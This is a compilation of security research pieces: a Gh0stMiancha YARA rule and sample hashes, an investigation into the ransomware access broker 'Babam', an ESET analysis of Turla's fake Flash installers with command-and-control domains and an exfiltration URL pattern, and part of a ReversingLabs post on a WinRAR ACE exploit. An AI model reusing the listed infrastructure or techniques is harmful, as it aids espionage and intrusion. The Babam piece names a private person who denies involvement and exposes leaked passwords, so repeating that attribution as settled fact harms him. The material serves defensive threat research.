$0x = { 57 5b 5a 5a 51 57 40 34 31 67 2e 31 70 34 5c 40 40 44 3b 25 3a 19 1e 5c 7b 67 60 2e 34 31 67 2e 31 70 19 1e 55 77 77 71 64 60 2e 34 3e 3b 3e 19 1e 57 7b 7a 60 71 7a 60 39 40 6d 64 71 2e 34 60 71 6c 60 3b 7c 60 79 78 19 1e 44 66 7b 6c 6d 39 57 7b 7a 7a 71 77 60 7d 7b 7a 2e 34 5f 71 71 64 39 55 78 7d 62 71 19 1e 57 7b 7a 60 71 7a 60 39 78 71 7a 73 60 7c 2e 34 24 19 1e 19 1e }
$1 = { 5c e7 99 bd e5 8a a0 e9 bb 91 5c }
$1x = { 48 f3 8d a9 f1 9e b4 fd af 85 48 }
$2 = "DllCanLoadNow"
$2x = { 50 78 78 57 75 7a 58 7b 75 70 5a 7b 63 }
$3x = { 5a 61 79 76 71 66 34 7b 72 34 67 61 76 7f 71 6d 67 2e 34 31 70 }
$4 = "JXNcc2hlbGxcb3Blblxjb21tYW5k"
$4x = { 5e 4c 5a 77 77 26 7c 78 76 53 6c 77 76 27 56 78 76 78 6c 7e 76 26 25 60 4d 43 21 7f }
$5 = "SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA=="
$5x = { 47 51 52 47 46 52 70 56 41 7f 42 77 46 51 42 40 45 25 5e 5e 41 52 46 5e 40 24 21 77 41 27 78 6e 70 53 42 60 4c 51 5a 78 76 7a 46 6d 4d 43 6c 45 77 79 2d 7e 4e 4c 5a 6e 76 27 5e 77 59 55 29 29 }
$6 = "C:\\Users\\why\\"
$6x = { 57 2e 48 41 67 71 66 67 48 63 7c 6d 48 }
$7 = "g:\\ykcx\\"
$7x = { 73 2E 48 6D 7F 77 6C 48 }
$8 = "(miansha)"
$8x = { 3C 79 7D 75 7A 67 7C 75 3D }
$9 = "server(\xE5\xA3\xB3)"
$9x = { 7C 2E 48 26 24 25 27 3A 25 25 3A 26 21 48 67 71 66 62 71 66 3C F1 B7 A7 3D 48 46 71 78 71 75 67 71 48 67 71 66 62 71 66 3A 64 70 76 }
$cfgDecode = { 8a ?? ?? 80 c2 7a 80 f2 19 88 ?? ?? 41 3b ce 7c ??}
condition:
any of them
}
```
---
## 4 Appendix A – File Metadata
**Gh0stMiancha Installer**
**MD5:** 0ae82fd94836815a1e8d284ccb75109d
**SHA1:** bcba2a4d55d860f0bca3b9f80a5deb2dd69f000c
**SHA256:** b2f9e2f7c07235a6ea03e90ba591f0a43d38d8ff8ee6583473b6fbb63831619d
**Size (bytes):** 13314
**Compile Time:** 2013-11-22 12:19:48 UTC
**In-the-wild Filenames:** install.exe
**PDB String:** g:\ykcx\install(miansha)\Release\install.pdb
**Obfuscated TrojanLoader:W32/Gh0stMiancha**
**MD5:** d5548e1913950a42a04debcac4222bd2
**SHA1:** ac48bc2deefd30dad762a23e85409a7eec48b723
**SHA256:** 3d43f7fab3c8f574e2790c2d97f85fa87f0d53e412c995462e53348b4fc34b74
**Size (bytes):** 10299
**Compile Time:** N/A
**In-the-wild Filenames:** dll.tmp
**TrojanLoader:W32/Gh0stMiancha**
**MD5:** 04e7361323b431f7c9f86388f316bbea
**SHA1:** e3c095c7ace563b41b3f4310f3de69e47c86fd03
**SHA256:** 73ef70f1e80e32341eebcb3b1084cf896f6b1aa701b7a6c7abcb9293500d84ae
**Size (bytes):** 10299
**Compile Time:** 2013-11-26 09:34:10 UTC
**In-the-wild Filenames:** install.ocx
**PDB String:** h:\2013.11.25\server(壳)\Release\server.pdb
**Obfuscated TrojanLoader:W64/Gh0stMiancha**
**MD5:** 01f7b465242237bd3d31d39767aa68e0
**SHA1:** db4ec59bf7f34a21f9dc7f2ded68c616f7c0fe47
**SHA256:** ed39c1d86ff8cfe18ef58e850d205a678d255150324b00661b91448173c94900
**Size (bytes):** 12347
**Compile Time:** N/A
**In-the-wild Filenames:** dll64.tmp
**Obfuscated Trojan:W32/Gh0stMiancha**
**MD5:** 569071c45f47b7fb7a75f30bc07d5739
**SHA1:** 540bb9d2dee8f4e10e5ae0a5cc900b346a57a198
**SHA256:** 8a00b2aefdcd0bb22013bbe9c7941fa16af8246e545e1522622006b9c88ca716
**Size (bytes):** 169019
**Compile Time:** N/A
**In-the-wild Filenames:** instructions.pdf
**Trojan:W32/Gh0stMiancha**
**MD5:** 916b1a07efb145c450b4c13540be6c3e
**SHA1:** 7984639beb4e9870301d3b44a68b4346f9a6b826
**SHA256:** f26c2e9bee680f8e4d7afd73e2984a6697263334d2f0049a40e050d75293035e
**Size (bytes):** 169019
**Compile Time:** 2013-12-06 08:08:28 UTC
**In-the-wild Filenames:** N/A
**Obfuscated Trojan:W64/Gh0stMiancha**
**MD5:** 55474f8e26f2b6fc3b5d78ce9a77b0b0
**SHA1:** 3f714c33992e906e69df2d5d4971beaed336d9f4
**SHA256:** 27e5670f68ff68acc80716c6870f4e5d06c471791f087d5b9b7613f8dc700037
**Size (bytes):** 233019
**Compile Time:** N/A
**In-the-wild Filenames:** instructions64.pdf
---
Context Information Security - Threat Intelligence - [email protected]
London (HQ) | Cheltenham | Düsseldorf | Melbourne
4th Floor | Corinth House | 1.OG | 4th Floor
30 Marsh Wall | 117 Bath Road | Adersstr. 28 | 155 Queen Street
London E14 9TP | Cheltenham GL53 7LS | 40215 Düsseldorf | Melbourne VIC 3000
United Kingdom | United Kingdom | Germany | Australia |
# Who Is the Network Access Broker ‘Babam’?
Rarely do cybercriminal gangs that deploy ransomware gain the initial access to the target themselves. More commonly, that access is purchased from a cybercriminal broker who specializes in acquiring remote access credentials — such as usernames and passwords needed to remotely connect to the target’s network. In this post, we’ll look at the clues left behind by “Babam,” the handle chosen by a cybercriminal who has sold such access to ransomware groups on many occasions over the past few years.
Since the beginning of 2020, Babam has set up numerous auctions on the Russian-language cybercrime forum Exploit, mainly selling virtual private networking (VPN) credentials stolen from various companies. Babam has authored more than 270 posts since joining Exploit in 2015, including dozens of sales threads. However, none of Babam’s posts on Exploit include any personal information or clues about his identity.
In February 2016, Babam joined Verified, another Russian-language crime forum. Verified was hacked at least twice in the past five years, and its user database posted online. That information shows that Babam joined Verified using the email address “[email protected].” The latest Verified leak also exposed private messages exchanged by forum members, including more than 800 private messages that Babam sent or received on the forum over the years.
In early 2017, Babam confided to another Verified user via private message that he is from Lithuania. In virtually all of his forum posts and private messages, Babam can be seen communicating in transliterated Russian rather than by using the Cyrillic alphabet. This is common among cybercriminal actors for whom Russian is not their native tongue.
Cyber intelligence platform Constella Intelligence told KrebsOnSecurity that the [email protected] address was used in 2016 to register an account at filmai.in, which is a movie streaming service catering to Lithuanian speakers. The username associated with that account was “bo3dom.”
A reverse WHOIS search via DomainTools.com says [email protected] was used to register two domain names: bonnjoeder.com back in 2011, and sanjulianhotels.com (2017). It’s unclear whether these domains ever were online, but the street address on both records was “24 Brondeg St.” in the United Kingdom.
A reverse search at DomainTools on “24 Brondeg St.” reveals one other domain: wwwecardone.com. The use of domains that begin with “www” is fairly common among phishers and by passive “typosquatting” sites that seek to siphon credentials from legitimate websites when people mistype a domain, such as accidentally omitting the “.” after typing “www”.
Searching DomainTools for the phone number in the WHOIS records for wwwecardone.com — +44.0774829141 — leads to a handful of similar typosquatting domains, including wwwebuygold.com and wwwpexpay.com. A different UK phone number in a more recent record for the wwwebuygold.com domain — 44.0472882112 — is tied to two more domains – howtounlockiphonefree.com, and portalsagepay.com. All of these domains date back to between 2012 and 2013.
The original registration records for the iPhone, Sagepay, and Gold domains share an email address: [email protected]. A search on the username “bo3dom” using Constella’s service reveals an account at ipmart-forum.com, a now-defunct forum concerned with IT products, such as mobile devices, computers, and online gaming. That search shows the user bo3dom registered at ipmart-forum.com with the email address [email protected], and from an Internet address in Vilnius, Lithuania.
[email protected] was used to register multiple domains, including wwwsuperchange.ru back in 2008 (notice again the suspect “www” as part of the domain name). Gmail’s password recovery function says the backup email address for [email protected] is bo3*******@gmail.com. Gmail accepts the address [email protected] as the recovery email for that devrian27 account.
According to Constella, the [email protected] address was exposed in multiple data breaches over the years, and in each case, it used one of two passwords: “lebeda1” and “a123456“. Searching in Constella for accounts using those passwords reveals a slew of additional “bo3dom” email addresses, including [email protected]. Pivoting on that address in Constella reveals that someone with the name Vytautas Mockus used it to register an account at mindjolt.com, a site featuring dozens of simple puzzle games that visitors can play online.
At some point, mindjolt.com apparently also was hacked, because a copy of its database at Constella says the [email protected] used two passwords at that site: lebeda1 and a123456.
A reverse WHOIS search on “Vytautas Mockus” at DomainTools shows the email address [email protected] was used in 2010 to register the domain name perfectmoney.co. This is one character off of perfectmoney.com, which is an early virtual currency that was quite popular with cybercriminals at the time. The phone number tied to that domain registration was “86.7273687“.
A Google search for “Vytautas Mockus” says there’s a person by that name who runs a mobile food service company in Lithuania called “Palvisa.” A report on Palvisa purchased from Rekvizitai.vz — an official online directory of Lithuanian companies — says Palvisa was established in 2011 by a Vytautas Mockus, using the phone number 86.7273687, and the email address [email protected]. The report states that Palvisa is active but has had no employees other than its founder.
Reached via the [email protected] address, the 36-year-old Mr. Mockus expressed mystification as to how his personal information wound up in so many records. “I am not involved in any crime,” Mockus wrote.
The domains apparently registered by Babam over nearly 10 years suggest he started off mainly stealing from other cybercrooks. By 2015, Babam was heavily into “carding,” the sale and use of stolen payment card data. By 2020, he’d shifted his focus almost entirely to selling access to companies.
A profile produced by threat intelligence firm Flashpoint says Babam has received at least four positive feedback reviews on the Exploit cybercrime forum from crooks associated with the LockBit ransomware gang.
According to Flashpoint, in April 2021 Babam advertised the sale of Citrix credentials for an international company that is active in the field of laboratory testing, inspection, and certification, and that has more than $5 billion in annual revenues and more than 78,000 employees.
Flashpoint says Babam initially announced he’d sold the access, but later reopened the auction because the prospective buyer backed out of the deal. Several days later, Babam reposted the auction, adding more information about the depth of the illicit access and lowering his asking price. The access sold less than 24 hours later.
“Based on the provided statistics and sensitive source reporting, Flashpoint analysts assess with high confidence that the compromised organization was likely Bureau Veritas, an organization headquartered in France that operates in a variety of sectors,” the company concluded.
In November, Bureau Veritas acknowledged that it shut down its network in response to a cyber attack. The company hasn’t said whether the incident involved ransomware and if so what strain of ransomware, but its response to the incident is straight out of the playbook for responding to ransomware attacks. Bureau Veritas has not yet responded to requests for comment; its latest public statement on Dec. 2 provides no additional details about the cause of the incident.
Flashpoint notes that Babam’s use of transliterated Russian persists on both Exploit and Verified until around March 2020, when he switches over to using mostly Cyrillic in his forum comments and sales threads. Flashpoint said this could be an indication that a different person started using the Babam account since then, or more likely that Babam had only a tenuous grasp of Russian to begin with and that his language skills and confidence improved over time.
Lending credence to the latter theory is that Babam still makes linguistic errors in his postings that suggest Russian is not his original language. “The use of double ‘n’ in such words as ‘проданно’ (correct – продано) and ‘сделанны’ (correct – сделаны) by the threat actor proves that this style of writing is not possible when using machine translation since this would not be the correct spelling of the word,” Flashpoint analysts wrote.
“These types of grammatical errors are often found among people who did not receive sufficient education at school or if Russian is their second language,” the analysis continues. “In such cases, when someone tries to spell a word correctly, then by accident or unknowingly, they overdo the spelling and make these types of mistakes. At the same time, colloquial speech can be fluent or even native. This is often typical for a person who comes from the former Soviet Union states.” |
# Diplomats in Eastern Europe Bitten by a Turla Mosquito
## 1. Overview
Turla is one of the longest-known state-sponsored cyberespionage groups, with well-known victims such as the US Department of Defense in 2008. The group owns a large toolset that is generally divided into several categories: the most advanced malware is only deployed on machines that are the most interesting to the attackers. Their espionage platform is mainly used against Windows machines, but also against macOS and Linux machines with various backdoors and a rootkit. For years, Turla has relied, among other impersonations, on fake Flash installers to compromise victims. This kind of attack vector does not require highly sophisticated exploits but rather depends on tricking the user into installing the fake program.
In recent months, we have observed a strange, new behavior, leading to compromise by one of Turla’s backdoors. Not only is it packaged with the real Flash installer, but it also appears to be downloaded from adobe.com. From the endpoint’s perspective, the remote IP address belongs to Akamai, the official Content Delivery Network (CDN) used by Adobe to distribute their legitimate Flash installer. After digging a bit more, we realized that the fake Flash installers, including the macOS installer for Turla’s backdoor Snake—whether or not they were downloaded from adobe.com URLs—were performing a GET request to get.adobe.com URLs to exfiltrate some sensitive information about the newly compromised machine. Again, according to our telemetry, the IP address was a legitimate IP address used by Adobe. In this whitepaper, we will explain the different possibilities that could lead to such malicious behavior. To our knowledge, this malware did not utilize any legitimate Flash Player updates nor is it associated with any known Adobe product vulnerabilities. We can state with confidence that Adobe was not compromised. These attackers merely use the Adobe brand to trick users into downloading the malware.
We also found that the Turla group relied on a web app hosted on Google Apps Script as a Command and Control (C&C) server for JavaScript-based malware dropped by some versions of the fake Flash installer. Thus, it is clear they are trying to be as stealthy as possible by hiding in the network traffic of the targeted organizations.
By looking at our telemetry, we found evidence that Turla installers were exfiltrating information to get.adobe.com URLs since at least July 2016. The victims are located in territories of the former USSR. As for Gazer, another malware family developed and distributed by the Turla group and previously described by ESET, the targets are mainly consulates and embassies from different countries in Eastern Europe or the vicinity. We have also seen a few private companies infected but they do not seem to be Turla’s main targets. Thus, it seems this campaign is directed against high-value political organizations. Finally, some of the victims are also infected with other Turla-related malware such as ComRAT or Gazer.
## 2. Why Attribute This Campaign to the Turla Group?
Before analyzing the weird connections happening over the network, we will explain why we suspect this campaign is the work of the Turla group.
Firstly, some fake Flash installers in this campaign drop a backdoor known as Mosquito, which some security companies already detect as Turla malware. Secondly, some of the C&C servers linked to the dropped backdoors are using, or used, SATCOM IP addresses previously associated with Turla. Thirdly, this malware shares similarities with other malware families used by the Turla group. These similarities include the same string obfuscation (string stacking and XOR with 0x55) and the same API resolution. These elements allow us to say with confidence that Turla’s operators drove this campaign.
## 3. Abusing Adobe Flash and Flash-Related Domains
It is not a new tactic for Turla to rely on fake Flash installers to try to trick the user to install one of their backdoors. For instance, Kaspersky Lab documented this behavior in 2014. However, this is the first time, to our knowledge, that the malicious program is downloaded over HTTP from legitimate Adobe URLs and IP addresses. Thereby, even the most experienced users could be deceived.
### 3.1 Apparent Distribution Through adobe.com
Since the beginning of August 2016, we have identified a few attempts to download a Turla installer from admdownload.adobe.com URLs. At first glance, we imagined it was the typical trick that consists of setting the host field of the HTTP request while the TCP socket is established to the real IP of the C&C server. However, after deeper analysis, we realized that the IP address legitimately belongs to Akamai, a large CDN provider that Adobe uses to distribute its legitimate Flash installer.
Even if the executable is downloaded from a legitimate URL (e.g., http://admdownload.adobe.com/bin/live/flashplayer27_xa_install.exe), the referer field appears to have been tampered with. We have seen this referer field set to http://get.adobe.com/flashplayer/download/?installer=Flash_Player, which is not a URL pattern used by Adobe and hence returns a 404 status code if requested.
It is important to note that all the download attempts we identified in our telemetry were made through HTTP, not HTTPS. This allows a wide range of attacks in the path from the user’s machine to Akamai’s servers. The next section is a review of various possible scenarios that could explain this. Exactly what happened is still an open question and we would appreciate any feedback if you have more information.
### 3.2 Compromise Hypotheses
Figure 1 shows the different hypotheses that could explain how a user apparently visiting the legitimate Adobe website over HTTP might be forced to download Turla-related malware.
We quickly discarded the hypothesis of a rogue DNS server, since the IP address corresponds to the servers used by Adobe to distribute Flash. After discussions with Adobe and from their investigations, scenario 5 seems unlikely as the attackers did not compromise the Adobe Flash Player download website. Thus, these are the hypotheses that remain:
1. A Man-in-the-Middle (MitM) attack from an already-compromised machine in the local network.
2. A compromised gateway or proxy of the organization.
3. A MitM attack at the Internet Service Provider (ISP) level.
4. A Border Gateway Protocol (BGP) hijack to redirect the traffic to Turla-controlled servers.
#### 3.2.1 Local MitM
Turla operators could use an already-compromised machine in the network of the victim’s organization to perform a local MitM attack. Using ARP spoofing, they could modify the traffic on the fly by redirecting the traffic of the targeted machine to a compromised machine. Even though we are not aware of the presence of such tools in the Turla arsenal, such a tool is not hard to develop, especially given the technical abilities of this group. However, we identified many different victims in many different organizations. That means the Turla group would have had to have compromised at least one other computer in each of those organizations, and specifically, a computer on the same subnet as a more preferred target.
#### 3.2.2 Compromised Gateway
This attack is similar to the previous one but much more interesting for the attackers: they can intercept the traffic for the whole organization, without the need to do ARP spoofing, as gateways and proxies typically see all the incoming and outgoing traffic between the organization’s intranet and the internet. We are not aware of the existence of a Turla tool designed to do this—but their rootkit, called Uroburos, has packet analysis abilities. It can be installed on servers and used as a proxy to distribute tasks to infected machines that do not have a public IP address. For a group with the apparent expertise and resources Turla has available, this Uroburos code could easily be modified to intercept traffic on the fly and inject malicious payloads or otherwise modify unencrypted content.
#### 3.2.3 MitM at the ISP Level
If the traffic is not intercepted before exiting an organization’s internal network, it means it is modified later on the path to the Adobe servers. The ISPs are the main point of access on this path, and ESET has previously reported on other actors, such as FinFisher, using packet injection at the ISP level to distribute malware in repackaged installers. All the victims we identified are located in different, former USSR countries and we identified them using at least four different ISPs, based in these different countries. Thus, this scenario would suggest that Turla operators would have to be able to monitor traffic in several different separate countries or links where this data transit.
#### 3.2.4 BGP Hijacking
If the traffic is not modified by the ISP and does not reach the Adobe servers, this means it has been rerouted to another server that is controlled by the Turla operators. This can be done by conducting a BGP hijacking attack. There are several methods that can be employed. On one hand, Turla operators could use an Autonomous System (AS) they control to announce a prefix belonging to adobe.com. Thus, the traffic routing to adobe.com from locations near the Turla-controlled AS will be misdirected to their server. An example of such malicious activity was analyzed by RIPE. However, this would be quickly noticed by Adobe or by services performing BGP monitoring. Moreover, we checked on RIPEstat and did not notice any suspicious route announcements for the Adobe IP addresses used in this campaign.
On the other hand, the Turla operators could use their AS to announce they have a shorter route than any other AS might have to the Adobe servers. Thus, the traffic would also go through their routers and could be intercepted and modified in real time. However, a big part of the traffic to Adobe would be redirected to the rogue router, so it would be a noisy tactic and the chances are it would have been noticed at some point since the campaign started, in August 2016 or earlier.
**Wrap-up**
Of the five scenarios presented in Figure 1, we considered only four, as we are confident Adobe was not compromised. The BGP hijacking and the MitM attack at the ISP level are far more complex than the others. Thus, we believe it is more probable the Turla group has a custom tool installed on local gateways of the impacted organizations, allowing them to intercept and modify the traffic even before it exits the intranet.
### 3.3 Data Exfiltration via get.adobe.com URLs
Once the user has downloaded and launched the fake Flash installer, the compromise process starts. It begins by dropping a Turla backdoor on the machine. This could be Mosquito, a Win32 malware described in section 4, a malicious JavaScript file communicating with a web app hosted on Google Apps Script as described in section 5, or an unknown file downloaded from a fake Adobe URL: http://get.adobe.com/flashplayer/download/update/[x32|x64]. For the last case, as this URL does not exist on Adobe’s server; for the Turla group to be able to send content through this URL, something must be man-in-the-middling traffic on the path between the compromised machines and the Adobe servers to provide a response to these requests.
Then, a request is performed exfiltrating information about the newly-compromised machine. This is a GET request to http://get.adobe.com/stats/AbfFcBebD/q=<base64-encoded data> with, according to our telemetry, a legitimate Adobe IP address but with a URL pattern that is not used by Adobe and thus returns. As the request is performed through HTTP, the same MitM scenarios as discussed in section 3.2 are likely.
## 4. Analysis of the Win32 Backdoor
In this section, we describe the samples we found in the wild, mainly in 2017. We found evidence that this campaign has been running for some years, and the 2017 samples are an evolution from a backdoor in a file conventionally named InstructionerDLL.dll. However, these older samples were less obfuscated and there was only the backdoor DLL, without the loader found in more recent samples. Some of these older samples have compilation timestamps that date back to 2009 but these are likely to have been forged.
### 4.1 Installer
The installer generally comes as a fake Flash installer and is bundled with two additional components later dropped on the disk. As explained above, we identified several users who downloaded this fake Flash installer from a URL and IP used by Adobe for the distribution of the legitimate Flash installer. We detailed the different hypotheses that could explain this behavior in the previous section.
**Crypter**
In recent versions, the installer is always obfuscated with what seems to be a custom crypter. The obfuscated function will compute a number from hardcoded values and then check if this number is greater than another hardcoded value. Thus, at each execution the control flow will be the same, but emulation is required to determine which path is correct. Therefore, the code becomes far more complex to analyze for both malware researchers and automated algorithms in security software. This may slow down emulation so much that the object won’t be scanned, due to time constraints – and hence software known or shown to be malicious (if not obfuscated) won’t be detected.
Secondly, after the first layer is de-obfuscated, a call to the Win32 API SetupDiGetClassDevs is performed, and the crypter then checks whether the return value equals 0xE000021A. This function is generally used to request information about the devices of the system. However, this specific Flags value (0xFFFFFFFF) is not documented, but according to our tests, the return value is always 0xE000021A on Windows 7 and Windows 10 machines. We believe this API call and the following check are used to bypass sandboxes and emulators that do not implement it correctly.
Thirdly, the real code is divided into several chunks that are decrypted, using a custom function, and reordered at run time to build a PE in memory. It is then executed in-place by the crypter’s PE loader function.
### 4.2 DebugParser (Launcher)
The launcher, named DebugParser.dll internally, is called when the hijacked COM object is loaded. It is responsible for launching the main backdoor and for loading the hijacked COM object.
### 4.3 Commander (Main Backdoor)
The main backdoor of this campaign, called CommanderDLL by its authors, is launched either by the loader described above, or directly at startup if the chosen persistence mechanism is the Run registry entry. In both cases, this library’s StartRoutine export is called while, as shown in Figure 14, this export is not present in the DLL’s export table.
In the DllMain function, an export table is built in order to expose this export:
1. It creates an IMAGE_EXPORT_DIRECTORY structure with StartRoutine as the name of its only export.
2. It copies this structure just after the relocation section, located at the end of the PE’s in-memory image.
3. It changes the PE header field containing the Relative Virtual Address (RVA) of the export table to the address of the newly-created export table.
With these fix-ups, the memory-mapped library has an export called StartRoutine.
**Setup**
Firstly, the CommanderDLL module deletes the dropper (the fake Flash installer) file. The path is received from the dropper via a named pipe called \\.\pipe\namedpipe. Then, in a new thread, it creates a second named pipe, \\.\pipe\ms32loc, and waits until another process connects to this pipe, at which point the program exits.
Secondly, it sets up some internal structures and stores configuration values in the registry.
### 4.4 Encryption
This backdoor relies on a custom encryption algorithm. Each byte of the plaintext is XORed with a stream generated by a function that looks similar to the Blum Blum Shub algorithm. To encrypt or decrypt, a key and a modulus are passed to the encryption function. Different keys and moduli are used in the different samples. Some are hardcoded while others are generated during execution.
## 5. Analysis of the JavaScript Backdoor
Some of the fake Flash installers deliver two JavaScript backdoors instead of Mosquito, the Win32 backdoor. These files are dropped on the disk in the folder %APPDATA%\Microsoft. They are named google_update_checker.js and local_update_checker.js. The first one contacts a web app hosted on Google Apps Script and expects a base64-encoded reply. Then, it executes the decoded content using eval. We don’t know what the exact purpose of this additional backdoor is, but it may be used to download additional malware or to execute malicious JavaScript code directly. To establish persistence, it adds a Shell value under HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon.
The second JavaScript file reads %PROGRAMDATA%\1.txt and executes its content using the eval function. To establish persistence, it adds a local_update_check value in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
## 6. Conclusion
This campaign shows that Turla’s operators have many ideas to trick the user and to hide their malicious traffic as legitimate. Even an experienced user can be fooled by downloading a malicious file that is apparently from adobe.com, since the URL and the IP address correspond to Adobe’s legitimate infrastructure. However, the usage of HTTPS would significantly reduce the effectiveness of these kinds of attacks, as it is harder to intercept and modify encrypted traffic on the path between a machine and a remote server. Similarly, a check of the file signature should quickly raise suspicion, as the files used in this campaign are not signed whereas installers from Adobe are.
It also shows that Turla is still interested in consulates and embassies located in Eastern Europe and they put a lot of effort into keeping their remote access to these important sources of information.
For any inquiries, or to make sample submissions related to the subject, contact us at: [email protected].
## 7. Bibliography
1. ESET Research, “Carbon Paper: Peering into Turla’s second stage backdoor,” ESET, 30 03 2017.
2. ESET Research, “Gazing at Gazer – Turla’s new second stage backdoor,” ESET, 08 2017.
3. AlienVault, “Satellite Turla infrastructure,” 2016.
4. Kaspersky, “The Epic Turla Operation,” 2014.
5. BAE System, “SNAKE CAMPAIGN & CYBER ESPIONAGE TOOLKIT,” 2014.
6. F. Kafka, “New FinFisher surveillance campaigns: Internet providers involved?,” 21 09 2017.
7. RIPE, “YouTube Hijacking: A RIPE NCC RIS case study,” 17 03 2008.
8. FOX-IT, “Snake: Coming soon in Mac OS X flavour,” 03 05 2017.
9. GDATA, “COM Object hijacking: the discreet way of persistence,” 10 2014.
10. Microsoft, “HelpAssistant account (installed by using a Remote Assistance session),” 12 05 2014.
11. Wikipedia, “Blum Blum Shub,” 13 11 2017.
## 8. IoCs
### 8.1 C&C Server URLs
- smallcloud.ga
- fleetwood.tk
- docs.google.com/uc?authuser=0&id=0B_wY-Tu90pbjTDllRENWNkNma0k&export=download
- bigpen.ga
- https://script.google.com/macros/s/AKfycbxxPPyGP3Z5wgwbsXDgaNcQ6DCDf63vih-Te_jKf9SMj8TkTie/exec
- https://script.google.com/macros/s/AKfycbwF_VS5wHqlHmi4EQoljEtIsjmglLBO69n_2n_k2KtBqWXLk3w/exec
- ebay-global.publicvm.com
- psychology-blog.ezua.com
- agony.compress.to
- gallop.mefound.com
- auberdine.etowns.net
- skyrim.3d-game.com
- officebuild.4irc.com
- sendmessage.mooo.com
- robot.wikaba.com
- tellmemore.4irc.com
### 8.2 Fake Adobe URLs
- http://get.adobe.com/stats/AbfFcBebD/?q=<base64-encoded data>
- http://get.adobe.com/flashplayer/download/update/x32
- http://get.adobe.com/flashplayer/download/update/x64
### 8.3 Unofficial URLs for Legitimate Flash Installers
- https://drive.google.com/uc?authuser=0&id=0B_LlMiKUOIsteEtraEJYM0QxQVE&export=download
- https://drive.google.com/uc?authuser=0&id=0B_LlMiKUOIstM0RRekVEbnFfaXc&export=download
### 8.4 Hashes
**Installer**
- SHA-256: 2A61B4D0A7C5D7DC13F4F1DD5E0E3117036A86638DBAFAEC6AE96DA507FB7624
- SHA-1: E0788A0179FD3ECF7BC9E65C1C9F107D8F2C3142
- MD5: 2E244D33DD8EB70BD83EB38E029D39AC
**Loader (.tlb)**
- SHA-256: F6C9AE06DFC9C6898E62087CC7DBF1AC29CBD0A4BCDB12E58E0C467E11AD4F75
- SHA-1: F5ABFB972495FDE3D4FB3C825C3BBC437AAB6C3A
- MD5: 13B29C4840311A7BDB4C0681113598B0
**Backdoor (.pdb)**
- SHA-256: E7FD14CA45818044690CA67F201CC8CFB916CCC941A105927FC4C932C72B425D
- SHA-1: 24925A2E8DE38F2498906F8088CF2A8939E3CFD3
- MD5: 3C32E13162D884AB66E44902EDDB8EEE
**Installer (JS backdoor)**
- SHA-256: B295032919143F5B6B3C87AD22BCF8B55ECC9244AA9F6F88FC28F36F5AA2925E
- SHA-1: BA3519E62618B86D10830EF256CCE010014E401A
- MD5: CC3ADFE6079C1420A411B72F702E7DC7
**google_update_checker.js**
- SHA-256: 244896995B6B83F11DF944CCDA41ED9F1F1D811EBF65D75FE4337FD692011886
- SHA-1: C51D288469DF9F25E2FB7AC491918B3E579282EA
- MD5: 110E9BC680C9D5452C23722F42C385B3
**local_update_checker.js**
- SHA-256: 5D0973324B5B9492DDF252B56A9DF13C8953577BDB7450ED165ABBE4BF6E72D8
- SHA-1: 3DC74671768EB90463C0901570C0AAE24569B573
- MD5: 905B4E9A2159DAB45724333A0D99238F
### 8.5 Windows Artifacts
**Hijacked CLSIDs**
- {D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}
- {08244EE6-92F0-47F2-9FC9-929BAA2E7235}
- {4E14FBA2-2E22-11D1-9964-00C04FBBB345}
- {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}
- {603D3801-BD81-11D0-A3A5-00C04FD706EC}
- {F82B4EF1-93A9-4DDE-8015-F7950A1A6E31}
- {9207D8C7-E7C8-412E-87F8-2E61171BD291}
- {A3B3C46C-05D8-429B-BF66-87068B4CE563}
- {0997898B-0713-11D2-A4AA-00C04F8EEB3E}
- {603D3801-BD81-11D0-A3A5-00C04FD706EC}
- {1299CF18-C4F5-4B6A-BB0F-2299F0398E27}
**Files**
- Three files with the same name but a different extension (.tlb, .pdb, and .tnl) in a folder of %APPDATA%
- %APPDATA%\kb6867.bin (simplified log file)
### 8.6 ESET Detection Names
**Recent Samples**
- Win32/Turla.CQ
- Win32/Turla.CP
- Win32/Turla.CR
- Win32/Turla.CS
- Win32/Turla.CT
- Win32/Turla.CU
- Win32/Turla.CV
- Win32/Turla.CW
- Win32/Turla.CX
**Older Variants**
- Win32/TrojanDownloader.CAM
- Win32/TrojanDownloader.DMU
**JavaScript Backdoor**
- JS/Agent.NWB
- JS/TrojanDownloader.Agent.REG |
# Catching Lateral Movement in Internal Emails
**Threat Research | August 5, 2019**
**Blog Author: Tomislav Peričin, Chief Software Architect & Co-Founder at ReversingLabs**
Email-based attacks are the most prominent threat vector that organizations see today. Like any other form of communication, emails get exploited to become carriers for a wide variety of attacks. Securing email nowadays means worrying about malicious attachments, links leading to malware, links leading to phishing sites, and business email compromise attacks. Due to their nature, those attacks are commonly perceived as threats external to the organization. However, when the organization is already compromised, internal emails can become a tool used by the attacker to move laterally through the organization. In some cases, they are the stealthiest choice, as some organizations only perform security checks against incoming emails.
The following analysis is a reconstruction of an attack on a manufacturing company with ties to aerospace and defense industries. Yosi and Idan both work for a compromised manufacturing company. Yosi, a mechanical engineer, is sending an email to Idan. He is notifying his colleague about changes to their helpdesk software. The email contains a short message about the documentation that he’s attached.
When run through an automated language translation service, the message reads something like this. Sounds quite convincing. Since Idan trusts his coworker Yosi, he feels comfortable opening the attachment. There’s no reason for Idan to suspect that Yosi isn’t the one sending him the email. The email is sent from Yosi’s email address; it has the same reply-to address. Even if Idan put in the extra effort to inspect the email headers, all he would see is that the email was routed through the internal mail server.
However, that attachment is not a RAR archive despite its file extension. In reality, it is an ACE archive - a format that WinRAR knows how to open. Within WinRAR, the ACE format support is provided by a freeware library made by the WinACE authors. That library has recently been found to be affected by a path traversal vulnerability - an issue that allows an attacker to place a file in an arbitrary folder on the system. This vulnerability can be used to place an executable file in just the right place for it to launch the next time the machine powers up. That is exactly what the attachment is trying to do.
ReversingLabs A1000 visualizes the email headers and allows analysts to browse email contents. Email attachments - when they are an archive - are extracted and displayed in a view similar to one of an archive manager. The documentation that Yosi promised to Idan is certainly there. There’s lots of it, and it is used to cover the fact that Yosi is not who he claims to be. The first folder in the list of files is an indication that the attached ACE archive is exploiting the path traversal vulnerability - assigned CVE-2018-20250.
